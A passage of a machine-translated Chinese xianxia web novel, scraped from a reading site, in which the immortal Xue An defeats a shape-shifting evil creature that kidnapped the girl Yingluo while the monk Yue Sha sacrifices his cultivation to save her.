    In an instant, Guan Zizai and Baimei, who rushed to the front, involuntarily fell into the illusion.


    The crowd was in chaos.


    At this moment, Yue Sha suddenly felt a shadow passing in front of him, and then heard a sneer.


    "Little girl film, since you are willing to talk so much, then you can go with me!"


    As he said, a scream came from Yuecha''s ear.


    It''s Yingluo!


    Yue Sha''s heart suddenly stopped beating for a while, and then he felt all the blood rushing to the top of his head in an instant.


    Furiously, he was full of golden light, instantly dispelling all the thick fog, and then roared: "Let down Yingluo!"


    But everything is too late.


    With just a snap of the finger, the evil thing had already grabbed Yingluo, and then passed through the fully guarded Fire Phoenix crowd to reach the big hole.


    "Hahahaha, you idiots, wait to die!"


    When the words fell, the evil thing grabbed Yingluo and flew directly into the pit.


    From the beginning to the end, there was no change in this seal, not even obstruction.


    This is because the aura of the evil thing is too much like Xue An, and even the seal that Xue An placed by himself has been deceived.


    In an instant, the evil things and Yingluo disappeared.


    Yue Sha watched this scene with a splitting eye, suddenly opened his mouth and spit out a large mouthful of blood, and then hissed, "Yingluo!"


    The voice was filled with infinite regret.


    Regrets for his own foolishness, and was actually deceived by an evil thing, not only failed to see through its disguise, but also put Yingluo in danger.


    At the same time, the audience was also full of uproar.


    Cheng Hao and the people of the Fire Phoenix Special Forces were simply furious, because what this evil thing did was to challenge their bottom line.


    It is simply intolerable to dare to pretend to be an instructor to deceive everyone.


    What''s more, in the end, he let him run away in front of him. If there was something wrong with that bronze gate, these people would be guilty of death.


    Not only them, but Yue Ji Maitreya and others almost all thought so.


    But it was Yue Sha who reacted first, and saw that he didn''t even have time to wipe the blood from the corner of his mouth, and a vertical leap came over the big pit, and then hit it straight down.


    Boom!


    After a muffled sound, the brilliance spread like ripples, and then Yuesha forcibly broke the seal through a big hole and flew in.


    The whole process was almost at its peak, and before everyone even had time to react, Yuesha had disappeared.


    "Yue Sha!"


    "Uncle Master!"


    Everyone in Dingchan Temple exclaimed.


    Then Yue Jing grew up, and also entered the seal together.


    Maitreya stopped him, "Brother Yueji, let me go, you still have to sit in the Pure Land Buddha Kingdom!"


    After all, Maitreya flew in without waiting for Yue Ji''s consent.


    When the entire Pure Land Buddhist Kingdom was in chaos, Xue An and Zhou Daniu finally rushed outside of Chi Jialuo.


    But before they could breathe a sigh of relief, Yue Qinghuan''s figure suddenly appeared, and then said lightly: "You still seem to be a step late, that evil thing has already entered!"


    In fact, without Yue Qinghuan''s reminder, Xue An already felt the fluctuations from the seal he had set halfway.


    Therefore, his face sank like water, he snorted sharply, and then he shook his body and jumped directly from outside of Chu Jia Luo to the front of the big pit.


    When he appeared in front of everyone, everyone was stunned, but no one dared to speak.


    Because no one knows whether the one in front of me at this moment is true or not.


    Xue An didn��t have time to explain to everyone, only to see his eyebrows raised, UU Reading flashed out with a brilliant sword light, and directly smashed the seal on the big pit, and then stepped out, that��s it. Disappeared in the big hole.


    Everyone looked at them blankly, and then they heard someone whispering: "The one who just entered...should be the leader, right?"


    Because only the real Red Lotus Immortal Venerable can have this domineering.


    At the same time, I saw Zhou Daniu arrived panting.


    As soon as he appeared, everyone from the Fire Phoenix screamed.


    "big cow?"


    "Brother Big Niu!"


    Especially Zou Sui, who has the strongest relationship with Zhou Daniu, even flew up to Zhou Daniu. After looking at it, he beat him viciously on the shoulder.


    "Fuck, it''s really you!"


    Seeing a friend whom he hadn''t seen for many years, Zhou Daniu couldn''t help but feel a warm current in his heart, but he was dull by nature and wouldn''t say anything, he could only giggle.


    Cheng Hao took a deep breath at this time, and said solemnly: "Since it is a big cow, the one who just entered is the real instructor. No, I can''t stand by here, and I have to go in to help the instructor!"


    The people of the Fire Phoenix suddenly promised, just about to get up.


    At this moment, Yue Qinghuan suddenly appeared in front of everyone, and then said slowly: "If you are not afraid of becoming a drag on him, you can go in."


    The sudden appearance of Yue Qinghuan caused another commotion in the audience.


    Then I saw that the fire phoenix people immediately aimed at Yue Qinghuan.


    Cheng Hao even coldly asked, "Who are you again?"


    "Me?" Yue Qinghuan chuckled lightly.


    In the next instant, her figure appeared on top of Cheng Hao''s head, and at the same time her toes stepped on his shoulders and said lightly.


    "I am the referee for your instructors!"

 Chapter 2102： I will replace her

    "Invincible, start with Dad Xianzun ( Find the latest chapter!


    At the bottom of this pure land, there is an endless void.


    At this moment, in this emptiness, there was a brilliance flashing suddenly, and it was the Yue Sha who was pursuing the evil thing with all its strength behind.


    At this moment, he had already rushed to the scene of a cup of tea, but still did not see the slightest trace of the evil thing.


    This couldn''t help making him feel more irritable.


    Because every second of time is delayed, the probability of Tongmen accident will increase by one point, and Yingluo''s life will also be seriously threatened.


    That''s why he flew to the depths of the void in a hurry.


    Suddenly.


    A huge bronze gate appeared in front of him, and in front of the bronze gate stood the evil thing disguised as Xue An.


    Yue Sha immediately stopped.


    After seeing Yuesha, the evil creature couldn''t help but smile, "You came very quickly. It seems that this little girl is very important to you!"


    Its words are full of powerful confidence and indifference, which is creepy.


    Because this tone feels like a cat is talking to a mouse under its paws, full of playfulness and cruelty.


    Yue Sha''s pupils instantly shrank to the size of a needle, because he saw that beside this evil thing, a weird flower was suddenly suspended.


    The petals are red like blood, full of ominous meaning, and the stamens in them are like black vines, which firmly bind a person.


    Yue Sha took a deep breath, and whispered in a trembling voice, "Ying Luo..."


    That''s right!


    It is Yingluo who is bound in this weird flower.


    I saw her at this moment, her eyes closed tightly, her face pale, and there was no aura fluctuation all over her body, as if...dead!


    Yue Sha has been in Dingchan Temple since he was a child. With his extraordinary talent and courage and diligence, he has a very advanced Buddhist practice at a young age, otherwise he would not be friends with Xue An at the beginning and taught him many Buddhist secret skills. .


    But no matter how firm the state of mind, how profound the cultivation level, after seeing the scene in front of him, Yue Sha still broke the gong in an instant.


    He saw his eyes cracking, staring at the evil thing, "What the **** did you do to Yingluo? What happened to her?"


    The evil thing Jie Jie laughed, and then stretched out his hand to gently hook his finger, and the strange flower flew to the front.


    Then he stretched out his hand, slowly drew his fingers across Yingluo''s cheek, and said lightly: "Don''t worry, I didn''t do anything to her, now she just passed out temporarily."


    Yue Sha was slightly relieved when he heard this, but the evil thing''s next words made him angry.


    I saw this evil creature said with an evil face.


    "How can I kill such an immature good embryo so easily? She does my good deeds, so I naturally have to take it back with interest! So..."


    The evil thing suddenly began to laugh strangely, "You know that there are many adults who like this bite very much, so as long as you take her back and dedicate it to the adults, you will definitely be rewarded by the adults! What do you think?"


    Yue Sha''s whole body was golden light boiling, and infinite killing intent appeared in his eyes, and then he said every word: "Let her go!"


    The evil thing was not moved at all. Instead, he smiled and said: "Aren''t you buddhists paying attention to compassion the most? Why do you have such a strong killing intent at this moment?"


    Yue Sha did not speak, but stared at the evil thing.


    If the eyes can kill people, this evil thing has obviously died countless times.


    On the contrary, the evil thing laughed more and more madly, "Tsk tsk, the monk has a murderous intention for a little girl, is this what you Buddhists call cutting off the world?"


    "I said, let you let her go!" Yue Sha said with cold eyes again.


    The evil thing seemed to have not heard it, cast his gaze to the distance, and said lightly: "Here is another one!"


    When the words fell, another brilliance flew to Maitreya.


    When he saw this scene in front of Tongmen, his expression became serious.


    The evil thing then laughed strangely, "Jie Jie, there is another monk here, why? Are you also here for this little girl? It seems that this little girl... is really popular!"


    With an extremely nasty tone, Maitreya, as a master of Tantric Buddhism, could not help but sink in such a thing, and said coldly: "Let her go, I can not kill you!"


    "Hey, I''m so scared!" The evil creature exaggeratedly yelled, but the palm of his hand suddenly stretched out in front of Yingluo, and then the five fingers turned into sharp daggers, reaching Yingluo''s throat.


    Then the evil thing said viciously: "You better figure out who you are talking to now, otherwise, I can''t guarantee that this little girl can stand in front of you like this intact, with such a beautiful face, in case you lose a little What parts, that would be a pity!"


    As he spoke, the evil creature''s fingers trembled slightly and directly pierced the skin on Yingluo''s throat.


    A drop of blood seeped out instantly, Ying Luo screamed, and then regained consciousness.


    When she saw the evil thing in front of her and the distant Yuesha and the Queen Maitreya, she instantly understood what had happened, and then said with a calmness beyond her peers: "Uncle, leave me alone, first Kill this monster!"


    Yue Sha''s face sank like water, and there was no sound.


    The evil thing laughed loudly.


    "Tsk tusk, it''s really getting more and more interesting! Why? Do you think that death can solve all problems? Tell you, it''s useless, even if you die, I will grab your soul and give it back Give it to an adult who specializes in this. At that time, your soul will endure the torture of eternal life without being freed, how about it? Does it feel very good?"


    These words made Yingluo''s face turn white.


    At her age, although she has a maturity far surpassing her peers, she can even fear life and death, but she is still a child after all.


    After hearing the horror scene described by this evil creature, she couldn''t help trembling, and for the first time, her large eyes were covered with mist.


    But the more she was like this, the more excited this evil creature became.


    At this moment, I listened to Yue Sha suddenly said: "I can replace her!"


    what?


    The evil thing and Yingluo turned their heads to look.


    I saw Yue Sha''s palms folded together, and said in a calm tone: "No matter how beautiful she is, she is just an ordinary girl from the human race, and I am the top monk in the Pure Land Buddha Kingdom, so I think my value should be much greater than her! "


    As he said, Yuesha raised his head and looked at the evil thing quietly, "And now I am willing to replace her to endure the pain you said!"


    Yingluo stared at Yue Sha with a calm face blankly, tears bursting into her eyes.


    The evil thing was taken aback, and suddenly laughed strangely, "Okay! What a monk with deep affection and righteousness, but the problem is that she is just an ordinary woman. I can say that she is easy to come by, and you are a top Buddhist practitioner. If you don��t mind..."

 Chapter 2103： Invincible existence

    "Invincible, start with Dad Xianzun ( Find the latest chapter!


    The words behind the evil thing did not finish, but the meaning was already obvious.


    Yue Sha directly said: "This is very simple. I can disperse all cultivation bases in front of you and destroy the golden body. What do you think?"


    The evil thing was also shocked by Yuesha''s decisiveness, and he smiled grinningly: "Okay! Then you can do it now, I see if you are talking casually, or sincere!"


    Yuesha didn''t hesitate, and immediately took a step forward.


    "No!" Yingluo and Maitreya exclaimed at the same time.


    Immediately afterwards, Yingluo said with tears, "Uncle, I don''t want you to be like this!"


    Maitreya sighed further: "Brother Yuesha, these monsters have no morality at all. If you act on an impulse, you will not save Yingluo, but will harm yourself!"


    The evil thing laughed grinningly, "Why? This is backing up. It seems that what you said just now was a lie to me!"


    As soon as the voice fell, the outermost circle of the golden wheel behind Yue Sha''s head shattered suddenly, and then his eyes dimmed at a speed visible to the naked eye, and at the same time a trace of pale golden blood appeared along the corner of his mouth.


    "No!" Yingluo let out a hysterical yell, and then struggled frantically.


    "Yue Sha, you bastard, why are you doing this? Don��t think that this will touch me. To tell you the truth, I don��t like you at all, and even hate you. I never want to see you again, you Get out of here!"


    With the roar, Yingluo''s little face was full of hideous colors.


    Yue Sha just chuckled, then closed his eyes.


    Bang!


    He was shocked, and another circle of golden wheels shattered.


    A line of blood and tears flowed down the corners of Yingluo''s eyes, and she whispered softly: "Why are you so stupid... Why are you so stupid!"


    The evil creature became more and more excited, and even eagerly said: "Tsk tsk, it''s a pity that I don''t have any extra energy to record this video, otherwise it will be a rare classic! This kind of despair and helplessness, it is simply It''s fascinating!"


    But just when this evil creature was almost hysterical.


    Suddenly, a soft sigh came from the void in the distance.


    "What is the so-called love, you teach life and death! Yuesha, why do you bother!"


    As soon as this statement came out, Maitreya was shocked and immediately turned his eyes to look.


    really.


    In the emptiness of darkness, a white figure was slowly emerging.


    When he completely appeared in front of everyone, Yingluo couldn''t help crying with joy, "Xue...Mr. Xue!"


    That''s right!


    The person who came was Xue An.


    Seeing him taking a step, he came to Yuecha and looked at him, who was pale as paper, and there was a hint of compassion in his eyes.


    At this moment, Yue Sha also opened his eyes, and couldn''t help but smile after feeling the pity in Xue An''s eyes.


    "You have said that the word love can teach life and death, so this is the answer!"


    Xue An didn''t say a word, but patted Yuesha lightly on the shoulder, then turned his head to look at the evil creature.


    After looking at it for a while, Xue An''s mouth gradually raised, revealing an extremely cold smile.


    "Are you pretending to be me and bluffing everywhere?"


    The evil thing was shocked at first, but soon calmed down, and even a sneer appeared on his face.


    "Yes! It''s me! Xue An, you really came in time!"


    Xue An shrugged, "No way, who would let me call Shishiyu."


    Yingluo on the side trembled: "Mr. Xue, it doesn''t matter if you can save me. As long as you can take Yuesha away and stop him from doing stupid things, I will be satisfied!"


    Xue An turned his head and glanced at Ying Luo, who was full of firmness, and a trace of respect appeared in his eyes.


    Because the courage shown by this little girl from beginning to end is really moving, even more courageous than many adults.


    But Xue An quickly smiled, "Don''t worry, since I''m here, not only will your uncle be fine, but you will be fine!"


    Very strange.


    Although Xue An only said these words plainly, Yingluo settled down instantly.


    But the evil thing on the side couldn''t help but sneered, "Xue An, I have to admire your talent and strength. You are indeed a well-deserved king in this puddle, but your tone is too big! "


    "Is it big? I don''t think it, and I haven''t finished it yet." Xue An said with a smile, then stretched out **** and said lightly.


    "Now you have to do two things. First, let go of Yingluo, and second, remove the infiltration of the bronze seal. After you do these two points, I will kill you again. What do you think?"


    The evil thing was irritated when he heard the words, "The surname is Xue, are you making these things funny?"


    "Of course not, on the contrary, I am very serious!" Xue An said seriously.


    "Haha!" The evil thing suddenly sneered, "The surname is Xue, since you can see that I am infiltrating the seal, do you know why I am not in a hurry?"


    "Are you waiting for me?"


    "Yes! It seems that you are really smart. To tell you the truth, if you are outside of this void, because of the suppression of rules, I can only interfere with the things of the heavens to a limited extent. I am indeed not your opponent, but in this void. ����. UU reading "


    The evil thing suddenly straightened its chest, and the momentum of the whole body began to rise little by little, "I am the king!"


    Words fall.


    Suddenly there was a golden light on this bronze door, and then I saw traces of extremely subtle but clearly identifiable black air oozing from every corner of the bronze door, converging on the evil creature.


    With the integration of the black energy, the figure of this evil creature grew crazily at a speed visible to the naked eye, and at the same time the aura on his body climbed.


    In the blink of an eye, this evil creature became quite impressive, like an ancient evil deity, overlooking Xue An.


    "Xue An, can you be convinced now?"


    There was endless madness in the voice.


    This kind of momentum caused Maitreya to change his face, but Xue An looked up indifferently, and then said lightly.


    "What gives you confidence that makes you feel that you are now qualified to challenge me?"


    When the words fell, Xue An''s eyebrows seemed to have wind and snow blowing, and then he saw countless sword lights bursting out, converging into a torrent, heading straight for this evil creature.


    But as soon as halfway through, I saw this evil creature breathe out abruptly, and these sword lights were blown out directly, turning into nothing.


    Immediately after this evil creature laughed loudly, "Xue An, you still don''t understand, under the blessing of the power of heaven, I am an invincible existence, and this void will be your buried bones. Where!"


    As he said, he suddenly raised his foot and stomped down towards Xue An.


    Xue An was not afraid, and did not even dodge. Instead, he took a step forward and put his hands up, abruptly resisting the foot of the evil thing.


    Boom!


    After a dull loud noise, the evil thing''s feet were actually held by Xue Anshengsheng and could no longer be stored.


    But at this moment, there was a cruel look in the evil creature''s eyes.


    "Die me!"

 Chapter 2104： Between the real and the real, destroy the darkness

    "Invincible, start with Dad Xianzun ( Find the latest chapter!


    Following the voice, a faint light curtain suddenly appeared behind Xue An.


    But such an impenetrable light curtain, like an insurmountable moat, directly separated Xue An from the surrounding environment, forming an isolated island.


    Immediately afterwards, this light curtain began to shrink crazily at a speed visible to the naked eye.


    Wherever it went, even the void shattered into the most basic particle form.


    A treacherous grin appeared on the face of this huge evil creature, and it seemed that Xue An had been crushed by this light curtain directly.


    But in the next instant, the smile on its face completely solidified.


    Because at this moment, a sword suddenly appeared in Xue An''s hand. The whole body was white. Only a trace of red lines appeared on the body of the sword. At the same time, it exuded a hidden mighty sword!


    It is Tianzhu Sword!


    Immediately afterwards, Xue An flipped his wrist and pierced directly with a sword.


    There was no sound, and even the waves did not arouse half a point. The light curtain that shrank from before was like a bubble, pierced by Xue Ansheng through a big hole.


    This unexpected scene also caused the evil creature''s eyelids to jump wildly, and the eyes were shocked and unbelievable.


    Because he never expected that such a light curtain of magic and ghost would be broken by Xue An so lightly.


    But the facts could not help him not believe it.


    I saw Xue An wringing his sword blankly.


    Bang!


    With a muffled noise, this light curtain completely burst and disappeared.


    And the figure of Xue An disappeared along with the light curtain.


    Immediately afterwards, I saw that the head of the evil thing pierced a sword tip, and then Xue An''s indifferent voice came from behind the evil thing.


    "Sorry, you lost!"


    The evil creature''s eyes gradually widened, and then cracks appeared on the huge face, and finally burst into pieces.


    Amidst the flying dust, Xue Anao, dressed in white, stood still, like an immortal.


    This scene also made Maitreya look fascinated, thinking silently in his heart, is this truly invincible?


    It is strange that at this moment, Xue An''s face does not have the slightest joy of killing evil things.


    On the contrary, his face was still solemn and solemn, then raised his hand, his eyes swept across this Tianzhu sword.


    really.


    Except for the faint red pattern at the beginning, there was nothing unusual on the Tianzhu sword.


    Seeing this scene, Xue An couldn''t help but sigh, "Standing between the real and the virtual, without any harm, is this what you call invincibility?"


    As soon as this statement came out, a grinning smile came from the void.


    "Jiejie, I can''t tell that your strength is not too strong, but your knowledge is good, but you still know the real and the false! That''s right, I am invincible at this moment!"


    Following the voice, on the other end of the void, a huge evil creature slowly emerged again.


    It was the evil thing that was previously beheaded by Xue An.


    I saw him standing in the void, a pair of huge eyes full of cruel and playful brilliance.


    "Xue An, I admit that your kendo cultivation is good, and you can even break my control, but you can''t hurt me now, because I said that in this void, I am the real king!"


    After that, the evil creature laughed wildly.


    The laughter shook the void, making Yingluo and Maitreya''s complexion more difficult to look.


    Especially Yingluo, the little girl was full of hope that Xue An could clean up the monster as soon as possible, so as to save Yuecha and herself.


    But I never expected that this evil thing would be so difficult, and even said it was invincible.


    If this is the case, wouldn''t people like yourself be able to leave and be buried here?


    Just as Yingluo''s heart was up and down, Yue Sha, who was sitting cross-legged, suddenly chuckled, then closed his eyes and stopped looking.


    He knew that no matter how much this evil creature screamed, it would be dead today.


    Because no existence can win Xue An.


    note!


    Is any existence!


    This powerful confidence is based on Yuesha''s deep understanding of Xue An, and is even carved into the depths of Yuesha''s soul like a creed.


    really.


    Just as the evil creature was laughing wildly, a sword point suddenly appeared in his mouth, and the blade was suddenly stirred, and the entire head of the evil creature was cut into pieces.


    But this time there was still no blood gushing out.


    Just a moment later, in the void not far away, the figure of this evil creature reappeared again, and at the same time it was full of sarcasm.


    "Xue An, I advise you to save effort! Because you can''t kill me at all!"


    "Oh, is it? You are so confident that I can''t kill you?" Xue An said lightly.


    "Of course, because when have you seen someone who can kill the shadow?"


    It is really like a shadow between reality and reality.


    Xue An looked at it indifferently, and only nodded after a long time, "You are right, people really can''t kill the shadow!"


    As soon as this remark came out, this evil creature couldn''t help becoming more proud.


    In contrast, Yingluo''s heart is gradually sinking to the bottom.


    What if even Mr. Xue can''t take this evil thing Who else can subdue it that day?


    If no one can subdue it, what should you do with Yuesha and himself?


    Just when Yingluo was in a state of confusion, she saw Xue An suddenly take a step forward.


    With one step down, a lotus flower emitting bright golden light grew under Xue An''s feet.


    Then Xue An said calmly: "But shadows are born from darkness, and although people cannot kill shadows, they can eliminate darkness, so..."


    An extremely bright brilliance appeared in Xue An''s eyes, "You still have to die!"


    When the words fell, with the lotus flower under Xue An''s feet as the center, countless lotus flowers appeared instantly, occupying the entire void.


    Immediately afterwards, these lotus flowers slowly bloomed, bursting into bright golden light.


    And behind Xue An''s head, a huge golden wheel appeared, occupying the entire void.


    Compared with this golden wheel, this evil creature with a height of ten feet is like the fireflies before the glow of the sun and moon, and it is almost humble.


    Such a sacred and solemn scene also made Maitreya and Yuesha clasp their palms together, and exclaimed with joy.


    "Master Nanwu!"


    "Nanwuwu Buddha!"


    In this Buddha''s name, the evil creature finally felt a strong and extremely fearful, and then it screamed hysterically.


    "Xue An, what do you want to do? Do you still want to destroy this void? Are you not afraid that this will destroy the seal of the bronze gate?"


    Xue An sneered when he heard the words, "What can I do if it is destroyed? It''s nothing more than the advancement of the war. Anyway, this battle is inevitable, so what''s the difference between fighting early and late?"


    The evil creature was speechless.


    Because Xue An was so calm at the moment, as if all this was as simple as he said.

 Chapter 2105： 3 The secret of no girl

    "Invincible, start with Dad Xianzun ( Find the latest chapter!


    And it was at this moment, but seeing that Xue An took a step forward again, he said lightly: "Brightness shines everywhere, cut off all misery and darkness!"


    boom!


    The immeasurable golden light poured down like a heavy rain, directly occupying the entire void.


    Wherever it went, darkness quickly disappeared, replaced by endless light.


    Immediately afterwards, I heard the painful howl of this evil thing, because when the golden light and body, it made all the physical means helpless, but it melted like ice and snow under the scorching sun.


    In the blink of an eye, its body, which was already ten thousand feet tall, melted more than half, and the remaining body was rapidly dissipating.


    The tremendous pain and the fear of facing death made this evil creature extremely crazy.


    "Ah, ah, ah, surnamed Xue, I curse you and the people around you are not allowed to die, you will end up like those Chinese people, there is no place to be buried!"


    When these words came out, Xue An''s discoloration instantly changed, and his figure flashed before the evil creature, and then screamed.


    "What are you talking about? What''s the matter with those Chinese?"


    "Hahahahahahaha, do you want to know? But I won''t tell you, just wait for that day to come!" The evil creature grinned wildly, and its body was crumbling sharply.


    Xue An dissipated the golden light, and at the same time stretched out his hand and plunged into the body of the evil thing, trying to grab its soul to grab the memory.


    But everything is too late.


    As soon as Xue An''s hand reached into the body of the evil creature, the evil creature collapsed completely.


    In an instant, a radiance that was so bright that it was almost whitish exploded, and then the whole void returned to silence.


    Maitreya narrowed his eyes slightly and looked into the air again.


    Xue An stood silently at this moment.


    From the perspective of Maitreya, only Xue An''s back can be seen, but it is such a thin back that makes Maitreya''s heart a little sour.


    Because he felt that this thin shadow seemed to carry an endless burden, making people just want to be silent.


    Although Yingluo couldn''t feel that much, she could faintly perceive Xue An''s strangeness at this moment.


    This can''t help but shut her mouth,


    At this moment, Xue An said lightly without looking back: "You know all these things, right?"


    As soon as the voice fell, Yue Qinghuan''s figure appeared beside Xue An, and then gently nodded, "That''s right!"


    Xue An turned his head to look at the barefoot girl who had become a fan with unknown background, and even unknowable strength. His eyes were snowy.


    "Then what happened to the Chinese that it said before it died?"


    In the face of Xue An''s almost boiling power, Yue Qinghuan only chuckled, and then said lightly: "Do you think I will tell you?"


    As soon as the voice fell, Xue An''s figure appeared in front of her, and at the same time the majestic spirit completely sealed the surrounding void.


    "Do you think I will let you go if you don''t say?"


    Facing Xue An''s aggressive power, a strange look appeared on Yue Qinghuan''s face.


    There are sullen and sneers, but it is more of playfulness and appreciation.


    "Why? Want to use strong?"


    It is really easy to make people think this sentence is said from the mouth of such a beautiful elf-like girl.


    Especially the laughter in her eyes when she said this can make people with weaker concentration unable to hold on the spot.


    Xue An did not speak coldly, and was not tempted at all.


    Yue Qinghuan sighed faintly, "Actually, it''s not that I don''t want to tell you, it''s that this matter can''t be mentioned to you at all now, you don''t want to make those surviving people suffer the disaster."


    Xue An''s face was thinking, and then he looked at Yue Qinghuan and slowly said, "Not now. When will it be possible?"


    "It''s very simple, when you are qualified to get in touch with these truths, I will naturally tell you!" Yue Qinghuan rarely teased, but responded very seriously.


    Because Xue An''s spiritual thoughts blocked the surrounding void, Maitreya and others could not hear these words at all. If they heard it, it would be a shock.


    Because the former Immortal Venerable, the current quasi-immortal emperor-level powerhouse, when he reached Yue Qinghuan''s mouth, he looked like an ordinary person, and he didn''t even have the qualifications to listen.


    This is really incredible.


    "Then what is qualified?"


    "For example..." Yue Qinghuan suddenly stuck out his tongue mischievously, "Won the battle?"


    Xue An''s eyes flashed, Xuan even stopped talking nonsense, but withdrew the divine consciousness that enveloped the void, and then turned to look at the bronze door, his expression indifferent as water.


    Yue Qinghuan couldn''t help but breathe out secretly at this time.


    To be honest, although she was very relaxed just now, she was actually very nervous inside.


    After all, this Xue An is far more mysterious and scary than she thought.


    Even she has been unable to see through Xue An''s bottom line.


    This gave Yue Qinghuan the feeling that it was like a bottomless ocean, and the calm surface might contain unimaginable power.


    However, she quickly adjusted her mood and looked at the bronze door in the distance with a smile but a smile, "Tsk, it is actually a seal of the life of a quasi-celestial powerhouse~www.novelhall. com~ No wonder it can block this entrance, but it seems that it won��t last long!"


    Just as Yue Qinghuan said, because of the disturb of this evil thing, at this moment on this bronze door, the scriptures that were transformed by the Buddha''s entire cultivation base are faintly mottled, and some have even begun to blur.


    This is a sign that the seal is fading.


    Xue looked quietly, "Yes, it really can''t last long!"


    In fact, because of this tossing, the seal that could last for ten years can only last for three years at most.


    This is virtually equivalent to shortening the time by nearly half.


    One can imagine the pressure represented.


    But Xue An only raised his eyebrows, and then went on and said, "But this is enough!"


    Looking at Xue An''s resolute profile, Yue Qinghuan''s eyes were bright and colorful, and a thought suddenly emerged in his heart.


    In fact, this guy seems to be pretty good too. Although he is almost in strength and has a weak background, his personality is much better than those of noble background, at least not so arrogant.


    If this is...


    At this moment, Yue Qinghuan suddenly shook his head, preventing himself from thinking about it anymore.


    Because in her opinion, that is simply ridiculous.


    It is simply impossible.


    And just when Yue Qinghuan was thinking about it, a cry suddenly came from a distance.


    "Uncle, what''s wrong with you?"


    Then she listened to Yingluo shouting in hysterical crying: "Mr. Xue, take a look. Uncle fainted!"


    As soon as the voice fell, Xue An''s people rushed to Yingluo.


    now.


    Yingluo knelt and sat on the ground, holding Yuesha''s head with tears on her face.


    And on her chest and hands, there were all red blood.


    And along the mouth and nose of Yuesha, blood still kept pouring out.

 Chapter 2106： Cruel tenderness

    "Invincible, start with Dad Xianzun ( Find the latest chapter!


    "Help him, Mr. Xue, please help him!" Yingluo pleaded, almost bleeding.


    Xue An was silent suddenly.


    Because he had expected such a day for a long time, but he didn''t expect it would come so soon.


    At the same time, Yue Qinghuan also appeared to the side, first glanced at Yue Xian, and then couldn''t help but be surprised: "Why isn''t this person dead?"


    This sentence immediately drew Ying Luo''s glare.


    At this time, Yue Qinghuan also felt that what he said was a bit wrong, and couldn''t help explaining.


    "Don''t get me wrong, what I mean is that with his current physical condition, he should have died several times. It is a miracle that he can survive until now."


    Yingluo was stunned, because Yue Qinghuan''s words were like a heavy hammer, which was hitting her heart hard.


    With the last glimmer of hope, she looked at Xue An, "Mr. Xue..."


    Although the words are not finished, the meaning is already obvious.


    She was expecting Xue Anneng to say something different about this, but she was still disappointed in the end.


    Xue An sighed lightly, and then shook his head, "Although she is a bit straightforward, she is right. It is indeed a miracle that Yue Sha can survive until now."


    As soon as she said this, Yingluo felt like she was sinking into the dark sea at an extremely fast speed.


    Despair and loneliness crazily eroded her heart, and her ears rumbling loudly, apart from that, she couldn''t hear any other sounds.


    This feeling made her feel cold, and she couldn''t help shaking.


    But at this moment, she felt a big warm hand gently holding her own.


    This couldn''t help making her tremble slightly, and then she looked up.


    I saw Yue Sha, with blood on the corners of his mouth, already awake now and looking at herself with a smile.


    Yingluo was stunned.


    Yue Sha chuckled slightly, "Silly girl, I''m not dead yet, why are you crying?"


    Yingluo''s eyes gradually widened, because she could feel that the aura on Yuesha was recovering little by little.


    This can''t help making her ecstatic.


    But at this moment, Yue Qinghuan, who had witnessed this scene, couldn''t help but sighed, "I understand why you can survive until now, so you can cut off all your vitality in order to survive, but is this really worth it?"


    These words were not loud, but Yingluo still heard it. Although Bingxue was as smart as her, she naturally heard that Yuesha should have sacrificed a lot for herself.


    She couldn''t help looking at Yuecha with tears in her eyes, "Is what she... is true?"


    Yue Sha chuckled, "Yes!"


    With that, Yue Sha sat up slowly, looked at Yue Qinghuan, and said lightly: "It''s all my own choice, so it doesn''t matter whether it is worth it or not."


    Yue Qinghuan shrugged, "That''s right, you can do it!"


    After that, her figure flashed, and she disappeared in place, and then a voice came from the void.


    "Xue An, I am waiting for you outside!"


    Yue Qinghuan is gone.


    Upon seeing this, Maitreya quietly left.


    Only Xue An, Yuesha and Yingluo were left in this void.


    Yue Sha''s state at this time has been restored to a rough degree, except that his face is paler, it is no different from before.


    But in this state, Xue An''s eyes showed a deep sense of worry.


    "Xue An, you don''t have to look at me with this kind of eyes, as if I am about to die!" Yuecha smiled lightly.


    Xue An was silent, he didn''t know what he should say.


    Because as Yue Sha said, all this is his own choice, it doesn''t matter whether it is worth or not.


    Although he and Yue Sha are friends, they have no right to interfere in this matter.


    At this moment, Ying Luo suddenly stood up and greeted Xue Anshen.


    "Mr. Xue, thank you for your help!"


    Xue An waved his hand, "You''re polite, this is what I should take care of, and I can''t say anything about thanks."


    "That said, if it weren''t for you, my uncle and I might be dead by now!" At this point, Yingluo smiled miserably, then bowed her head in a low voice.


    "Mr. Xue, I have something to say to uncle, can you..."


    Before Yingluo finished speaking, Xue An turned around and said indifferently: "If you have anything you can call me at any time, I''m out of the void."


    After all, his figure disappeared.


    In an instant, only Yuesha and Yingluo were left in the huge void.


    Yingluo walked to Yuesha and sat cross-legged.


    The two were relatively speechless.


    It wasn''t until a long time later that Yingluo whispered: "Uncle, did you know it a long time ago?"


    Although he didn''t say what he knew, Yue Sha already understood and couldn''t help nodding slightly, "Yes!"


    "When did that happen?"


    "From the moment I planned to find you back."


    As soon as these words came out, Yingluo was shocked, and then tears burst into her eyes, and choked up, "So when you first saw me, you already knew your final outcome, right?"


    "Yes!" Yue Sha answered honestly without any concealment.


    Yingluo suddenly became angry and pointed at Yuesha''s nose and shouted.


    "Then why do you still appear in front of me? Do you know how cruel it is to warm someone who has never seen the light and then cruelly deprive itDo you think you are so great? "


    "Save me, and then quietly die one day, leaving me alone to endure endless torture in the world. Is this what you should do as a Buddha?"


    Yingluo was so excited that she was almost hysterical, and she was about to poke Yuesha''s nose with her fingers.


    Yue Sha was unmoved, but looked at Ying Luo quietly, until she had almost vented, then whispered: "I''m sorry!"


    Although these three words were unremarkable, they drained all the strength of Yingluo in an instant.


    She collapsed completely, and threw herself into Yue Sha''s arms, crying.


    While crying, she said breathlessly: "Yue Sha, you big bad guy, you''re a total bastard!"


    Yue Sha looked down at Yingluo in her arms, her eyes became soft as water, and then she stroked her head lightly, and whispered: "Yes! I''m a bastard..."


    But in the next second, all the words behind him were blocked.


    Yuesha wanted to struggle, but when he saw the tears on Yingluo''s face, he couldn''t help but stop.


    It was not until a long time later that Ying Luo let go of her mouth, and then stared at Yue Sha blankly.


    "Does it really die?"


    "Ok!"


    "How long is that? One day? One month? Or one year?"


    Yuesha smiled bitterly and shook his head, "I don''t know the exact time, because I am living at the cost of my own soul. It may collapse in the next second, or it may take a long time."


    "But because of this turmoil, it is estimated that there will be only three years at most!" Yue Sha did not hide anything this time, but honestly told everything.

 Chapter 2107： Dispatch troops

